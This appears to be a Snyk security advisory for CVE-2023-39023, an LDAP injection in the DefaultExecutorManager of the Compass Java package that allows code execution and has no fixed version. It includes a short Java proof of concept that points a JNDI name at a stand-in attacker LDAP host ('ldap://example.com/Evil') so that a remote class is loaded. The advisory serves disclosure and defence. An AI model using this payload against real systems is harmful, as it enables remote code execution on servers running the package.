LDAP Injection Affecting org.compass-project:compass package, versions [0,]


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.43% (76th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about LDAP Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-ORGCOMPASSPROJECT-5813758
  • published2 Aug 2023
  • disclosed1 Aug 2023
  • creditUnknown

Introduced: 1 Aug 2023

CVE-2023-39023  (opens in a new tab)
CWE-90  (opens in a new tab)

How to fix?

There is no fixed version for org.compass-project:compass.

Overview

Affected versions of this package are vulnerable to LDAP Injection in DefaultExecutorManager that allows code execution.

PoC

DefaultExecutorManager manager = new DefaultExecutorManager();
CompassSettings settings = new CompassSettings(FooBar.class.getClassLoader());
settings.setSetting("compass.executorManager.type", "commonj");
settings.setSetting("compass.executorManager.workManager.workManagerJndiName", "ldap://example.com/Evil");
manager.configure(settings);

CVSS Scores

version 3.1